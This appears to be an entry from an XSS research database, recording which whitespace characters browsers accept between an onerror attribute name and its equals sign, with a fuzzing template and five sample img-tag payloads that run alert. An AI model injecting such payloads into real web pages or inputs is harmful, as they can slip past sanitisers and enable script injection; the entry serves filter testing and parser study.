Character allowed after onerror event

I want to know which characters the browser accepts between an event handler and a equal sign.

Created by: InsertScript

Created on: Tuesday, April 2, 2024 at 9:47:31 AM

Updated on: Wednesday, May 28, 2025 at 5:06:03 PM

Category: HTML Parsing

Vector visibility: Public

Vector type: XSS

Vector charset: UTF-8

Template used:

<img src=x onerror$[chr]=log($[i])>

Your browser was detected as:

Detecting... Detecting... Detecting... Detecting...

Sample payloads

<img src=x onerror0x09=alert(9)>

<img src=x onerror
=alert(10)>

<img src=x onerror0x0C=alert(12)>

<img src=x onerror0x0D=alert(13)>

<img src=x onerror =alert(32)>